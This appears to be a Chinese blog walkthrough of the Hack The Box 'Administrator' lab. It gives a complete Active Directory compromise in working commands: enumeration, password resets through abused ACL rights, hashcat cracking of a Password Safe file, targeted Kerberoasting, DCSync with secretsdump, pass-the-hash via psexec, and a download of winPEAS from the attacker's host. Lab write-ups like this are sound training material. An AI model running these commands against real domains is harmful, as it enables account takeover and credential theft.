刚开始这里就给我们提供了用户密码
Olivia / ichliebedich
nmap -sT --min-rate=10000 -p- 10.10.11.42 -oA ports/ports
PORTSTATE SERVICE
21/tcpopenftp
53/tcpopendomain
88/tcpopenkerberos-sec
135/tcpopenmsrpc
139/tcpopennetbios-ssn
445/tcpopenmicrosoft-ds
464/tcpopenkpasswd5
636/tcpopenldapssl
3268/tcpopenglobalcatLDAP
3269/tcpopenglobalcatLDAPssl
5985/tcpopenwsman
9389/tcpopenadws
47001/tcp openwinrm
49664/tcp openunknown
49665/tcp openunknown
49666/tcp openunknown
49873/tcp openunknown
49889/tcp openunknown
49900/tcp openunknown
49937/tcp openunknown
扫描 UDP 端口
sudo nmap -sU --min-rate=10000 -p- 10.10.11.42 -oA ports/ports-u
使用命令筛选端口
cat ports/ports.nmap | grep open | awk -F '/' '{printf $1","}'
详细信息扫描
sudo nmap -sT -sV -sC -O 10.10.11.42 -p 21,53,88,135,139,389,445,593,636,3268,9389,49666,49667,49668,49873,49884,49889,49937 -oA ports/datle
漏洞扫描结果
sudo nmap --script=vuln -sT 10.10.11.42 -p 21,53,88,135,139,445,464,636,3268,3269,5985,9389,47001,49664,49665,49666,49873,49889,49900,49937 -oA ports/vuln
发现域名:
administrator.htb
绑定 hosts,这里多写了个0后面改了。
sudo echo "10.10.11.42administrator.htb" >> /etc/hosts
使用工具enum4linux-ng 进行枚举 系统信息
enum4linux-ng 10.10.11.42
枚举到的信息
dc.administrator.htb
[+] Domain: ADMINISTRATOR
[+] Domain SID: S-1-5-21-1088858960-373806567-254189436
使用提供的用户枚举 smb 信息
smbclient -L 10.10.11.42 -U Olivia -P ichliebedich
、
登录 smb 遭拒绝没权限
smbclient //10.10.11.42/C$ -U Olivia --option='client min protocol=SMB2'
枚举域用户 2 种方式都试试
sudo kerbrute_linux_amd64 userenum --dc 10.10.11.42 -d administrator.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt
nxc smb 10.10.11.42 --users -u Olivia -p ichliebedich
最后枚举出用户
alexander
emma
michael
benjamin
emily
olivia
ethan
枚举没有预身份认证的用户
GetNPUsers.py -dc-ip 10.10.11.42 -usersfile domain-user.txt administrator.htb/
使用 ldapdomaindump 看看域内用户信息,这里看到当前用户实在远程管理组里,所以按理来说是可以远程管理的
ldapdomaindump ldap://10.10.11.42 -u "administrator.htbOlivia" -p ichliebedich -o ./
使用初始拿到的用户登录至 winrm
evil-winrm -i 10.10.11.42 -u Olivia -p ichliebedich
powershell 下载 winpeas 准备提权,执行后看了看也没东西可以提权
powershell -Command "Invoke-WebRequest -Uri http://10.10.16.11:9077/winPEASx64.exe -OutFile winPEASx64.exe"
Olivia > MICHAEL > BENJAMIN
使用工具bloodhound分析一下域内情况
bloodhound-python -d administrator.htb -u Olivia -p ichliebedich -gc administrator.htb -ns 10.10.11.42 -c all
拖入工具分析
进行分析后发现,Olivia 对MICHAEL 有控制权限,MICHAEL 又对BENJAMIN 有修改密码的权限,所以我们可以通过MICHAEL 间接修改BENJAMIN 的密码呀
直接修改MICHAEL 用户的密码
net user MICHAEL !@#QWEasd /domain
登录到MICHAEL 用户没什么东西
继续使用MICHAEL 用户修改BENJAMIN 的密码
net rpc password "benjamin" -U "administrator.htb/MICHAEL%!@#QWEasd" -S 10.10.11.42
使用benjamin 用户登录到了 ftp 发现了个文件,通过网上查询资料后是个Password Safe V3 数据库文件
这个文件是个Password Safe V3 数据库文件 需要安装个工具打开
工具下载地址:https://github.com/pwsafe/pwsafe/releases/tag/1.20.0
下载好之后使用 dpkg 安装就可以了
dpkg -i passwordsafe-debian12-1.20-amd64.deb
安装好之后打开文件发现有密码的,这里就不放图了因为图丢了。。。
使用 hashcat 破解密码,破解出来密码:tekieromucho
hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
使用前面破解到的 tekieromucho 密码登录
emily -> ETHAN
登录进来之后你就会发现三个用户的密码
emma/xxxxxxxx
emily/xxxxxxxxxxxx
alexander/xxxxxxxxxxxx
登录到emily 用户 winrm 拿到 flag1
evil-winrm -i 10.10.11.42 -u emily -p "UXLCI5iExxxxxxxxxxxx"
再次看到emily 用户对 ETHAN 有写权限
这个点卡了 1 个小时左右,因为尝试了 ADCS 和 BRCD 都不行,所以在网上查询各种资料知道这里可以申请一个 SPN,然后直接请求个 SPN 就可以拿到ethan的 ST,使用emily 的 winrm 申请一个 SPN
Set-ADUser -Identity ethan -ServicePrincipalNames @{ADD="opsSPN/host"}
然后再去请求 SPN 就拿到了 ethan 用户的 hash 了
GetUserSPNs.py administrator.htb/emily:'UXLCI5iETUsxxxxxxxx' -dc-ip 10.10.11.42 -request
使用 john 爆破秒出 :limpbizkit
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
最后直接 dcsync 导出所有 hash,因为前面看过了ethan 是 域管理组的,直接可以导出 hash
secretsdump.py administrator.htb/ethan:[email protected] -no-pass
最后要使用管理员的 hash 进行横向
psexec.py administrator.htb/[email protected] -hashes :3dc553ce4bxxxxxxxxxx
最后拿到 flag
原文始发于微信公众号(web安全初心实验室):Administrator-HTB
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论